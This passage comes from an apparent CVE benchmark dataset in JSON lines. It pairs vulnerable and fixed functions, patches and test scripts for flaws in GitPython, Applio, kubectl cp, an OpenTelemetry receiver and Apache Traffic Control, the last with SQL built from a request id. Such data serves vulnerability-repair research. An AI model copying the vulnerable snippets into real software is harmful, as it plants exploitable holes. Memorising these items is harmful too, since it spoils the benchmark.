repo.remotes[0].config_writer as writer:\n                writer.set_value(\"url\", Git.polish_url(repo.remotes[0].url))\n        # END handle remote repo\n        return repo"}], "vul_patch": "--- a/git/repo/base.py\n+++ b/git/repo/base.py\n@@ -32,6 +32,8 @@\n \n         if not allow_unsafe_protocols:\n             Git.check_unsafe_protocols(str(url))\n+        if not allow_unsafe_options:\n+            Git.check_unsafe_options(options=list(kwargs.keys()), unsafe_options=cls.unsafe_git_clone_options)\n         if not allow_unsafe_options and multi_options:\n             Git.check_unsafe_options(options=multi_options, unsafe_options=cls.unsafe_git_clone_options)\n \n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2023-40267:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/GitPython\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\n/workspace/PoC_env/CVE-2023-40267/bin/python  -m pytest test/test_repo.py::TestRepo::test_clone_unsafe_options  test/test_repo.py::TestRepo::test_clone_from_unsafe_options -v\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2023-40267:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/GitPython\ngit apply --whitespace=nowarn /workspace/fix.patch\n/workspace/PoC_env/CVE-2023-40267/bin/python  -m pytest test/test_repo.py -v -k \"not test_archive and not test_clone_from_with_path_contains_unicode and not test_commit_from_revision and not test_commits and not test_creation_deletion and not test_do_not_strip_newline_in_stdout and not test_is_ancestor and not test_is_valid_object and not test_merge_base and not test_rebasing and not test_remote_method and not test_repo_creation_from_different_paths and not test_repo_creation_pathlib and not test_rev_parse and not test_submodule_update and not test_submodules and not test_tag and not test_tree_from_revision and not test_trees\" -p no:warning --disable-warnings\n\n"}
{"cve_id": "CVE-2025-27781", "cve_description": "Applio is a voice conversion tool. Versions 3.2.8-bugfix and prior are vulnerable to unsafe deserialization in inference.py. `model_file` in inference.py as well as `model_file` in tts.py take user-supplied input (e.g. a path to a model) and pass that value to the `change_choices` and later to `get_speakers_id` function, which loads that model with `torch.load` in inference.py (line 326 in 3.2.8-bugfix), which is vulnerable to unsafe deserialization. The issue can lead to remote code execution. A patch is available on the `main` branch of the repository.", "cwe_info": {"CWE-502": {"name": "Deserialization of Untrusted Data", "description": "The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid."}}, "repo": "https://github.com/IAHispano/Applio", "patch_url": ["https://github.com/IAHispano/Applio/commit/eb21d9dd349a6ae1a28c440b30d306eafba65097"], "programing_language": "Python", "vul_func": [{"id": "vul_py_100_1", "commit": "c5c4bf4", "file_path": "rvc/train/train.py", "start_line": "136", "end_line": "152", "snippet": "def verify_checkpoint_shapes(checkpoint_path, model):\n    checkpoint = torch.load(checkpoint_path, map_location=\"cpu\")\n    checkpoint_state_dict = checkpoint[\"model\"]\n    try:\n        if hasattr(model, \"module\"):\n            model_state_dict = model.module.load_state_dict(checkpoint_state_dict)\n        else:\n            model_state_dict = model.load_state_dict(checkpoint_state_dict)\n    except RuntimeError:\n        print(\n            \"The parameters of the pretrain model such as the sample rate or architecture do not match the selected model.\"\n        )\n        sys.exit(1)\n    else:\n        del checkpoint\n        del checkpoint_state_dict\n        del model_state_dict"}], "fix_func": [{"id": "fix_py_100_1", "commit": "eb21d9d", "file_path": "rvc/train/train.py", "start_line": "136", "end_line": "152", "snippet": "def verify_checkpoint_shapes(checkpoint_path, model):\n    checkpoint = torch.load(checkpoint_path, map_location=\"cpu\", weights_only=True)\n    checkpoint_state_dict = checkpoint[\"model\"]\n    try:\n        if hasattr(model, \"module\"):\n            model_state_dict = model.module.load_state_dict(checkpoint_state_dict)\n        else:\n            model_state_dict = model.load_state_dict(checkpoint_state_dict)\n    except RuntimeError:\n        print(\n            \"The parameters of the pretrain model such as the sample rate or architecture do not match the selected model.\"\n        )\n        sys.exit(1)\n    else:\n        del checkpoint\n        del checkpoint_state_dict\n        del model_state_dict"}], "vul_patch": "--- a/rvc/train/train.py\n+++ b/rvc/train/train.py\n@@ -1,5 +1,5 @@\n def verify_checkpoint_shapes(checkpoint_path, model):\n-    checkpoint = torch.load(checkpoint_path, map_location=\"cpu\")\n+    checkpoint = torch.load(checkpoint_path, map_location=\"cpu\", weights_only=True)\n     checkpoint_state_dict = checkpoint[\"model\"]\n     try:\n         if hasattr(model, \"module\"):\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2019-11246", "cve_description": "The kubectl cp command allows copying files between containers and the user machine. To copy files from a container, Kubernetes runs tar inside the container to create a tar archive, copies it over the network, and kubectl unpacks it on the user\u2019s machine. If the tar binary in the container is malicious, it could run any code and output unexpected, malicious results. An attacker could use this to write files to any path on the user\u2019s machine when kubectl cp is called, limited only by the system permissions of the local user. Kubernetes affected versions include versions prior to 1.12.9, versions prior to 1.13.6, versions prior to 1.14.2, and versions 1.1, 1.2, 1.4, 1.4, 1.5, 1.6, 1.7, 1.8, 1.9, 1.10, 1.11.", "cwe_info": {"CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/kubernetes/kubernetes", "patch_url": ["https://github.com/kubernetes/kubernetes/commit/8db8423eea628d3696157cf8d3fbc261781a4302", "https://github.com/kubernetes/kubernetes/commit/8649b4d9ebad4e3b6ae01619585237ec5863b92b", "https://github.com/kubernetes/kubernetes/commit/8f8227f90d540dfb0f01efc3fd1f3eff87bf596a"], "programing_language": "Go", "vul_func": [{"id": "vul_go_147_1", "commit": "fe44df8", "file_path": "pkg/kubectl/cmd/cp/cp.go", "start_line": 421, "end_line": 499, "snippet": "func (o *CopyOptions) untarAll(reader io.Reader, destFile, prefix string) error {\n\tentrySeq := -1\n\n\t// TODO: use compression here?\n\ttarReader := tar.NewReader(reader)\n\tfor {\n\t\theader, err := tarReader.Next()\n\t\tif err != nil {\n\t\t\tif err != io.EOF {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tbreak\n\t\t}\n\t\tentrySeq++\n\t\tmode := header.FileInfo().Mode()\n\t\t// all the files will start with the prefix, which is the directory where\n\t\t// they were located on the pod, we need to strip down that prefix, but\n\t\t// if the prefix is missing it means the tar was tempered with\n\t\tif !strings.HasPrefix(header.Name, prefix) {\n\t\t\treturn fmt.Errorf(\"tar contents corrupted\")\n\t\t}\n\t\toutFileName := path.Join(destFile, clean(header.Name[len(prefix):]))\n\t\tbaseName := path.Dir(outFileName)\n\t\tif err := os.MkdirAll(baseName, 0755); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif header.FileInfo().IsDir() {\n\t\t\tif err := os.MkdirAll(outFileName, 0755); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\n\t\t// handle coping remote file into local directory\n\t\tif entrySeq == 0 && !header.FileInfo().IsDir() {\n\t\t\texists, err := dirExists(outFileName)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif exists {\n\t\t\t\toutFileName = filepath.Join(outFileName, path.Base(clean(header.Name)))\n\t\t\t}\n\t\t}\n\n\t\tif mode&os.ModeSymlink != 0 {\n\t\t\tlinkname := header.Linkname\n\t\t\t// error is returned if linkname can't be made relative to destFile,\n\t\t\t// but relative can end up being ../dir that's why we also need to\n\t\t\t// verify if relative path is the same after Clean-ing\n\t\t\trelative, err := filepath.Rel(destFile, linkname)\n\t\t\tif path.IsAbs(linkname) && (err != nil || relative != stripPathShortcuts(relative)) {\n\t\t\t\tfmt.Fprintf(o.IOStreams.ErrOut, \"warning: link %q is pointing to %q which is outside target destination, skipping\\n\", outFileName, header.Linkname)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif err := os.Symlink(linkname, outFileName); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t} else {\n\t\t\toutFile, err := os.Create(outFileName)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tdefer outFile.Close()\n\t\t\tif _, err := io.Copy(outFile, tarReader); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif err := outFile.Close(); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\n\tif entrySeq == -1 {\n\t\t//if no file was copied\n\t\terrInfo := fmt.Sprintf(\"error: %s no such file or directory\", prefix)\n\t\treturn errors.New(errInfo)\n\t}\n\treturn nil\n}"}, {"id": "vul_go_147_2", "commit": "fe44df8", "file_path": "pkg/kubectl/cmd/cp/cp.go", "start_line": 529, "end_line": 538, "snippet": "func dirExists(path string) (bool, error) {\n\tfi, err := os.Stat(path)\n\tif err == nil && fi.IsDir() {\n\t\treturn true, nil\n\t}\n\tif os.IsNotExist(err) {\n\t\treturn false, nil\n\t}\n\treturn false, err\n}"}], "fix_func": [{"id": "fix_go_147_1", "commit": "8db8423", "file_path": "pkg/kubectl/cmd/cp/cp.go", "start_line": 421, "end_line": 500, "snippet": "func (o *CopyOptions) untarAll(reader io.Reader, destDir, prefix string) error {\n\t// TODO: use compression here?\n\ttarReader := tar.NewReader(reader)\n\tfor {\n\t\theader, err := tarReader.Next()\n\t\tif err != nil {\n\t\t\tif err != io.EOF {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tbreak\n\t\t}\n\n\t\t// All the files will start with the prefix, which is the directory where\n\t\t// they were located on the pod, we need to strip down that prefix, but\n\t\t// if the prefix is missing it means the tar was tempered with.\n\t\t// For the case where prefix is empty we need to ensure that the path\n\t\t// is not absolute, which also indicates the tar file was tempered with.\n\t\tif !strings.HasPrefix(header.Name, prefix) {\n\t\t\treturn fmt.Errorf(\"tar contents corrupted\")\n\t\t}\n\n\t\t// basic file information\n\t\tmode := header.FileInfo().Mode()\n\t\tdestFileName := path.Join(destDir, header.Name[len(prefix):])\n\t\tbaseName := path.Dir(destFileName)\n\n\t\tif err := os.MkdirAll(baseName, 0755); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif header.FileInfo().IsDir() {\n\t\t\tif err := os.MkdirAll(destFileName, 0755); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\n\t\t// We need to ensure that the destination file is always within boundries\n\t\t// of the destination directory. This prevents any kind of path traversal\n\t\t// from within tar archive.\n\t\tdir, file := filepath.Split(destFileName)\n\t\tevaledPath, err := filepath.EvalSymlinks(dir)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\t// For scrutiny we verify both the actual destination as well as we follow\n\t\t// all the links that might lead outside of the destination directory.\n\t\tif !isDestRelative(destDir, destFileName) || !isDestRelative(destDir, filepath.Join(evaledPath, file)) {\n\t\t\tfmt.Fprintf(o.IOStreams.ErrOut, \"warning: link %q is pointing to %q which is outside target destination, skipping\\n\", destFileName, header.Linkname)\n\t\t\tcontinue\n\t\t}\n\n\t\tif mode&os.ModeSymlink != 0 {\n\t\t\tlinkname := header.Linkname\n\t\t\t// We need to ensure that the link destination is always within boundries\n\t\t\t// of the destination directory. This prevents any kind of path traversal\n\t\t\t// from within tar archive.\n\t\t\tif !isDestRelative(destDir, linkJoin(destFileName, linkname)) {\n\t\t\t\tfmt.Fprintf(o.IOStreams.ErrOut, \"warning: link %q is pointing to %q which is outside target destination, skipping\\n\", destFileName, header.Linkname)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif err := os.Symlink(linkname, destFileName); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t} else {\n\t\t\toutFile, err := os.Create(destFileName)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tdefer outFile.Close()\n\t\t\tif _, err := io.Copy(outFile, tarReader); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif err := outFile.Close(); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}"}, {"id": "fix_go_147_2", "commit": "8db8423", "file_path": "pkg/kubectl/cmd/cp/cp.go", "start_line": 504, "end_line": 509, "snippet": "func linkJoin(base, link string) string {\n\tif filepath.IsAbs(link) {\n\t\treturn link\n\t}\n\treturn filepath.Join(base, link)\n}"}, {"id": "fix_go_147_3", "commit": "8db8423", "file_path": "pkg/kubectl/cmd/cp/cp.go", "start_line": 513, "end_line": 523, "snippet": "func isDestRelative(base, dest string) bool {\n\tfullPath := dest\n\tif !filepath.IsAbs(dest) {\n\t\tfullPath = filepath.Join(base, dest)\n\t}\n\trelative, err := filepath.Rel(base, fullPath)\n\tif err != nil {\n\t\treturn false\n\t}\n\treturn relative == \".\" || relative == stripPathShortcuts(relative)\n}"}], "vul_patch": "--- a/pkg/kubectl/cmd/cp/cp.go\n+++ b/pkg/kubectl/cmd/cp/cp.go\n@@ -1,6 +1,4 @@\n-func (o *CopyOptions) untarAll(reader io.Reader, destFile, prefix string) error {\n-\tentrySeq := -1\n-\n+func (o *CopyOptions) untarAll(reader io.Reader, destDir, prefix string) error {\n \t// TODO: use compression here?\n \ttarReader := tar.NewReader(reader)\n \tfor {\n@@ -11,52 +9,60 @@\n \t\t\t}\n \t\t\tbreak\n \t\t}\n-\t\tentrySeq++\n-\t\tmode := header.FileInfo().Mode()\n-\t\t// all the files will start with the prefix, which is the directory where\n+\n+\t\t// All the files will start with the prefix, which is the directory where\n \t\t// they were located on the pod, we need to strip down that prefix, but\n-\t\t// if the prefix is missing it means the tar was tempered with\n+\t\t// if the prefix is missing it means the tar was tempered with.\n+\t\t// For the case where prefix is empty we need to ensure that the path\n+\t\t// is not absolute, which also indicates the tar file was tempered with.\n \t\tif !strings.HasPrefix(header.Name, prefix) {\n \t\t\treturn fmt.Errorf(\"tar contents corrupted\")\n \t\t}\n-\t\toutFileName := path.Join(destFile, clean(header.Name[len(prefix):]))\n-\t\tbaseName := path.Dir(outFileName)\n+\n+\t\t// basic file information\n+\t\tmode := header.FileInfo().Mode()\n+\t\tdestFileName := path.Join(destDir, header.Name[len(prefix):])\n+\t\tbaseName := path.Dir(destFileName)\n+\n \t\tif err := os.MkdirAll(baseName, 0755); err != nil {\n \t\t\treturn err\n \t\t}\n \t\tif header.FileInfo().IsDir() {\n-\t\t\tif err := os.MkdirAll(outFileName, 0755); err != nil {\n+\t\t\tif err := os.MkdirAll(destFileName, 0755); err != nil {\n \t\t\t\treturn err\n \t\t\t}\n \t\t\tcontinue\n \t\t}\n \n-\t\t// handle coping remote file into local directory\n-\t\tif entrySeq == 0 && !header.FileInfo().IsDir() {\n-\t\t\texists, err := dirExists(outFileName)\n-\t\t\tif err != nil {\n-\t\t\t\treturn err\n-\t\t\t}\n-\t\t\tif exists {\n-\t\t\t\toutFileName = filepath.Join(outFileName, path.Base(clean(header.Name)))\n-\t\t\t}\n+\t\t// We need to ensure that the destination file is always within boundries\n+\t\t// of the destination directory. This prevents any kind of path traversal\n+\t\t// from within tar archive.\n+\t\tdir, file := filepath.Split(destFileName)\n+\t\tevaledPath, err := filepath.EvalSymlinks(dir)\n+\t\tif err != nil {\n+\t\t\treturn err\n+\t\t}\n+\t\t// For scrutiny we verify both the actual destination as well as we follow\n+\t\t// all the links that might lead outside of the destination directory.\n+\t\tif !isDestRelative(destDir, destFileName) || !isDestRelative(destDir, filepath.Join(evaledPath, file)) {\n+\t\t\tfmt.Fprintf(o.IOStreams.ErrOut, \"warning: link %q is pointing to %q which is outside target destination, skipping\\n\", destFileName, header.Linkname)\n+\t\t\tcontinue\n \t\t}\n \n \t\tif mode&os.ModeSymlink != 0 {\n \t\t\tlinkname := header.Linkname\n-\t\t\t// error is returned if linkname can't be made relative to destFile,\n-\t\t\t// but relative can end up being ../dir that's why we also need to\n-\t\t\t// verify if relative path is the same after Clean-ing\n-\t\t\trelative, err := filepath.Rel(destFile, linkname)\n-\t\t\tif path.IsAbs(linkname) && (err != nil || relative != stripPathShortcuts(relative)) {\n-\t\t\t\tfmt.Fprintf(o.IOStreams.ErrOut, \"warning: link %q is pointing to %q which is outside target destination, skipping\\n\", outFileName, header.Linkname)\n+\t\t\t// We need to ensure that the link destination is always within boundries\n+\t\t\t// of the destination directory. This prevents any kind of path traversal\n+\t\t\t// from within tar archive.\n+\t\t\tif !isDestRelative(destDir, linkJoin(destFileName, linkname)) {\n+\t\t\t\tfmt.Fprintf(o.IOStreams.ErrOut, \"warning: link %q is pointing to %q which is outside target destination, skipping\\n\", destFileName, header.Linkname)\n \t\t\t\tcontinue\n \t\t\t}\n-\t\t\tif err := os.Symlink(linkname, outFileName); err != nil {\n+\t\t\tif err := os.Symlink(linkname, destFileName); err != nil {\n \t\t\t\treturn err\n \t\t\t}\n \t\t} else {\n-\t\t\toutFile, err := os.Create(outFileName)\n+\t\t\toutFile, err := os.Create(destFileName)\n \t\t\tif err != nil {\n \t\t\t\treturn err\n \t\t\t}\n@@ -70,10 +76,5 @@\n \t\t}\n \t}\n \n-\tif entrySeq == -1 {\n-\t\t//if no file was copied\n-\t\terrInfo := fmt.Sprintf(\"error: %s no such file or directory\", prefix)\n-\t\treturn errors.New(errInfo)\n-\t}\n \treturn nil\n }\n\n--- a/pkg/kubectl/cmd/cp/cp.go\n+++ b/pkg/kubectl/cmd/cp/cp.go\n@@ -1,10 +1,6 @@\n-func dirExists(path string) (bool, error) {\n-\tfi, err := os.Stat(path)\n-\tif err == nil && fi.IsDir() {\n-\t\treturn true, nil\n+func linkJoin(base, link string) string {\n+\tif filepath.IsAbs(link) {\n+\t\treturn link\n \t}\n-\tif os.IsNotExist(err) {\n-\t\treturn false, nil\n-\t}\n-\treturn false, err\n+\treturn filepath.Join(base, link)\n }\n\n--- /dev/null\n+++ b/pkg/kubectl/cmd/cp/cp.go\n@@ -0,0 +1,11 @@\n+func isDestRelative(base, dest string) bool {\n+\tfullPath := dest\n+\tif !filepath.IsAbs(dest) {\n+\t\tfullPath = filepath.Join(base, dest)\n+\t}\n+\trelative, err := filepath.Rel(base, fullPath)\n+\tif err != nil {\n+\t\treturn false\n+\t}\n+\treturn relative == \".\" || relative == stripPathShortcuts(relative)\n+}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-45043", "cve_description": "The OpenTelemetry Collector module AWS firehose receiver is for ingesting AWS Kinesis Data Firehose delivery stream messages and parsing the records received based on the configured record type. `awsfirehosereceiver` allows unauthenticated remote requests, even when configured to require a key. OpenTelemetry Collector can be configured to receive CloudWatch metrics via an AWS Firehose Stream. Firehose sets the header `X-Amz-Firehose-Access-Key` with an arbitrary configured string. The OpenTelemetry Collector awsfirehosereceiver can optionally be configured to require this key on incoming requests. However, when this is configured it **still accepts incoming requests with no key**. Only OpenTelemetry Collector users configured with the \u201calpha\u201d `awsfirehosereceiver` module are affected. This module was added in version v0.49.0 of the \u201cContrib\u201d distribution (or may be included in custom builds). There is a risk of unauthorized users writing metrics. Carefully crafted metrics could hide other malicious activity. There is no risk of exfiltrating data. It\u2019s likely these endpoints will be exposed to the public internet, as Firehose does not support private HTTP endpoints. A fix was introduced in PR #34847 and released with v0.108.0. All users are advised to upgrade. There are no known workarounds for this vulnerability.", "cwe_info": {"CWE-285": {"name": "Improper Authorization", "description": "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-250": {"name": "Execution with Unnecessary Privileges", "description": "The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses."}, "CWE-269": {"name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."}}, "repo": "https://github.com/open-telemetry/opentelemetry-collector-contrib", "patch_url": ["https://github.com/open-telemetry/opentelemetry-collector-contrib/commit/371bf6afbd7cfa3253fa1674f5444064e86ef0ac"], "programing_language": "Go", "vul_func": [{"id": "vul_go_2_1", "commit": "234eadd", "file_path": "receiver/awsfirehosereceiver/receiver.go", "start_line": 235, "end_line": 240, "snippet": "func (fmr *firehoseReceiver) validate(r *http.Request) (int, error) {\n\tif accessKey := r.Header.Get(headerFirehoseAccessKey); accessKey != \"\" && accessKey != string(fmr.config.AccessKey) {\n\t\treturn http.StatusUnauthorized, errInvalidAccessKey\n\t}\n\treturn http.StatusAccepted, nil\n}"}], "fix_func": [{"id": "fix_go_2_1", "commit": "371bf6a", "file_path": "receiver/awsfirehosereceiver/receiver.go", "start_line": 235, "end_line": 244, "snippet": "func (fmr *firehoseReceiver) validate(r *http.Request) (int, error) {\n\tif string(fmr.config.AccessKey) == \"\" {\n\t\t// No access key is configured - accept all requests.\n\t\treturn http.StatusAccepted, nil\n\t}\n\tif accessKey := r.Header.Get(headerFirehoseAccessKey); accessKey == string(fmr.config.AccessKey) {\n\t\treturn http.StatusAccepted, nil\n\t}\n\treturn http.StatusUnauthorized, errInvalidAccessKey\n}"}], "vul_patch": "--- a/receiver/awsfirehosereceiver/receiver.go\n+++ b/receiver/awsfirehosereceiver/receiver.go\n@@ -1,6 +1,10 @@\n func (fmr *firehoseReceiver) validate(r *http.Request) (int, error) {\n-\tif accessKey := r.Header.Get(headerFirehoseAccessKey); accessKey != \"\" && accessKey != string(fmr.config.AccessKey) {\n-\t\treturn http.StatusUnauthorized, errInvalidAccessKey\n+\tif string(fmr.config.AccessKey) == \"\" {\n+\t\t// No access key is configured - accept all requests.\n+\t\treturn http.StatusAccepted, nil\n \t}\n-\treturn http.StatusAccepted, nil\n+\tif accessKey := r.Header.Get(headerFirehoseAccessKey); accessKey == string(fmr.config.AccessKey) {\n+\t\treturn http.StatusAccepted, nil\n+\t}\n+\treturn http.StatusUnauthorized, errInvalidAccessKey\n }\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2024-45043:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/opentelemetry-collector-contrib\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ncd ./receiver/awsfirehosereceiver && go test  -timeout 30s -run ^TestFirehoseRequest$ github.com/open-telemetry/opentelemetry-collector-contrib/receiver/awsfirehosereceiver\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2024-45043:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/opentelemetry-collector-contrib\ngit apply --whitespace=nowarn /workspace/fix.patch\ncd ./receiver/awsfirehosereceiver && go test -timeout 30s -run '^(TestStart|TestFirehoseRequest)$' github.com/open-telemetry/opentelemetry-collector-contrib/receiver/awsfirehosereceiver\n"}
{"cve_id": "CVE-2024-45387", "cve_description": "An SQL injection vulnerability in Traffic Ops in Apache Traffic Control <= 8.0.1, >= 8.0.0 allows a privileged user with role \"admin\", \"federation\", \"operations\", \"portal\", or \"steering\" to execute arbitrary SQL against the database by sending a specially-crafted PUT request.\n\nUsers are recommended to upgrade to version Apache Traffic Control 8.0.2 if you run an affected version of Traffic Ops.", "cwe_info": {"CWE-89": {"name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data."}}, "repo": "https://github.com/apache/trafficcontrol", "patch_url": ["https://github.com/apache/trafficcontrol/commit/467abd181d29f126d236f04796737346fba7fc2b"], "programing_language": "Go", "vul_func": [{"id": "vul_go_170_1", "commit": "3c5f6cf", "file_path": "traffic_ops/traffic_ops_golang/deliveryservice/request/comment/comments.go", "start_line": 265, "end_line": 271, "snippet": "func Validate(dsrc tc.DeliveryServiceRequestCommentV5) error {\n\terrs := validation.Errors{\n\t\t\"deliveryServiceRequestId\": validation.Validate(dsrc.DeliveryServiceRequestID, validation.NotNil),\n\t\t\"value\":                    validation.Validate(dsrc.Value, validation.NotNil),\n\t}\n\treturn util.JoinErrs(tovalidate.ToErrors(errs))\n}"}, {"id": "vul_go_170_2", "commit": "3c5f6cf", "file_path": "traffic_ops/traffic_ops_golang/deliveryservice/request/comment/comments.go", "start_line": 274, "end_line": 349, "snippet": "func Update(w http.ResponseWriter, r *http.Request) {\n\tvar deliveryServiceRequestComment tc.DeliveryServiceRequestCommentV5\n\n\tinf, userErr, sysErr, errCode := api.NewInfo(r, []string{\"id\"}, nil)\n\tif userErr != nil || sysErr != nil {\n\t\tapi.HandleErr(w, r, inf.Tx.Tx, errCode, userErr, sysErr)\n\t\treturn\n\t}\n\tdefer inf.Close()\n\n\ttx := inf.Tx.Tx\n\tif err := json.NewDecoder(r.Body).Decode(&deliveryServiceRequestComment); err != nil {\n\t\tapi.HandleErr(w, r, tx, http.StatusBadRequest, err, nil)\n\t\treturn\n\t}\n\n\tif err := Validate(deliveryServiceRequestComment); err != nil {\n\t\tapi.HandleErr(w, r, tx, http.StatusBadRequest, err, nil)\n\t\treturn\n\t}\n\n\tvar current tc.DeliveryServiceRequestCommentV5\n\terr := inf.Tx.QueryRowx(selectQuery() + `WHERE dsrc.id=` + inf.Params[\"id\"]).StructScan(&current)\n\tif err != nil {\n\t\tapi.HandleErr(w, r, tx, http.StatusInternalServerError, nil, errors.New(\"scanning deliveryservice_request_comment: \"+err.Error()))\n\t\treturn\n\t}\n\n\tuserID := tc.IDNoMod(inf.User.ID)\n\tif current.AuthorID != userID {\n\t\tapi.HandleErr(w, r, tx, http.StatusBadRequest, errors.New(\"comments can only be updated by the author\"), nil)\n\t\treturn\n\t}\n\tdeliveryServiceRequestComment.AuthorID = current.AuthorID\n\tidParam := inf.Params[\"id\"]\n\tid, parseErr := strconv.Atoi(idParam)\n\tif parseErr != nil {\n\t\tapi.HandleErr(w, r, inf.Tx.Tx, http.StatusBadRequest, errors.New(\"id must be an integer\"), nil)\n\t\treturn\n\t}\n\tdeliveryServiceRequestComment.ID = id\n\tuserErr, sysErr, sc := api.CheckIfUnModified(r.Header, inf.Tx, id, \"deliveryservice_request_comment\")\n\tif userErr != nil || sysErr != nil {\n\t\tapi.HandleErr(w, r, tx, sc, userErr, sysErr)\n\t\treturn\n\t}\n\n\trows, err := inf.Tx.NamedQuery(updateQuery(), deliveryServiceRequestComment)\n\tif err != nil {\n\t\tuserErr, sysErr, sc := api.ParseDBError(err)\n\t\tapi.HandleErr(w, r, tx, sc, userErr, sysErr)\n\t\treturn\n\t}\n\tdefer rows.Close()\n\n\tif !rows.Next() {\n\t\tapi.HandleErr(w, r, tx, http.StatusNotFound, errors.New(\"no deliveryservice_request_comment found with this id\"), nil)\n\t\treturn\n\t}\n\tlastUpdated := time.Time{}\n\tif err := rows.Scan(&lastUpdated); err != nil {\n\t\tapi.HandleErr(w, r, tx, http.StatusInternalServerError, nil, errors.New(\"scanning lastUpdated from deliveryservice_request_comment insert: \"+err.Error()))\n\t\treturn\n\t}\n\tdeliveryServiceRequestComment.LastUpdated = time.Now()\n\n\tif rows.Next() {\n\t\tapi.HandleErr(w, r, tx, http.StatusInternalServerError, nil, errors.New(\"deliveryservice_request_comment update affected too many rows: >1\"))\n\t\treturn\n\t}\n\n\talerts := tc.CreateAlerts(tc.SuccessLevel, \"deliveryservice_request_comment was updated.\")\n\tapi.WriteAlertsObj(w, r, http.StatusOK, alerts, deliveryServiceRequestComment)\n\tchangeLogMsg := fmt.Sprintf(\"DELIVERYSERVICE_REQUEST_COMMENT: %d, ID: %d, ACTION: Updated deliveryservice_request_comment\", deliveryServiceRequestComment.ID, deliveryServiceRequestComment.ID)\n\tapi.CreateChangeLogRawTx(api.ApiChange, changeLogMsg, inf.User, tx)\n}"}], "fix_func": [{"id": "fix_go_170_1", "commit": "467abd1", "file_path": "traffic_ops/traffic_ops_golang/deliveryservice/request/comment/comments.go", "start_line": 265, "end_line": 272, "snippet": "func Validate(dsrc tc.DeliveryServiceRequestCommentV5) error {\n\terrs := validation.Errors{\n\t\t\"id\":                       validation.Validate(dsrc.ID, validation.NotNil),\n\t\t\"deliveryServiceRequestId\": validation.Validate(dsrc.DeliveryServiceRequestID, validation.NotNil),\n\t\t\"value\":                    validation.Validate(dsrc.Value, validation.NotNil),\n\t}\n\treturn util.JoinErrs(tovalidate.ToErrors(errs))\n}"}, {"id": "fix_go_170_2", "commit": "467abd1", "file_path": "traffic_ops/traffic_ops_golang/deliveryservice/request/comment/comments.go", "start_line": 275, "end_line": 350, "snippet": "func Update(w http.ResponseWriter, r *http.Request) {\n\tvar deliveryServiceRequestComment tc.DeliveryServiceRequestCommentV5\n\n\tinf, userErr, sysErr, errCode := api.NewInfo(r, []string{\"id\"}, nil)\n\tif userErr != nil || sysErr != nil {\n\t\tapi.HandleErr(w, r, inf.Tx.Tx, errCode, userErr, sysErr)\n\t\treturn\n\t}\n\tdefer inf.Close()\n\n\ttx := inf.Tx.Tx\n\tif err := json.NewDecoder(r.Body).Decode(&deliveryServiceRequestComment); err != nil {\n\t\tapi.HandleErr(w, r, tx, http.StatusBadRequest, err, nil)\n\t\treturn\n\t}\n\tidParam := inf.Params[\"id\"]\n\tid, parseErr := strconv.Atoi(idParam)\n\tif parseErr != nil {\n\t\tapi.HandleErr(w, r, inf.Tx.Tx, http.StatusBadRequest, errors.New(\"id must be an integer\"), nil)\n\t\treturn\n\t}\n\tdeliveryServiceRequestComment.ID = id\n\n\tif err := Validate(deliveryServiceRequestComment); err != nil {\n\t\tapi.HandleErr(w, r, tx, http.StatusBadRequest, err, nil)\n\t\treturn\n\t}\n\n\tvar current tc.DeliveryServiceRequestCommentV5\n\terr := inf.Tx.QueryRowx(selectQuery() + `WHERE dsrc.id=` + strconv.Itoa(deliveryServiceRequestComment.ID)).StructScan(&current)\n\tif err 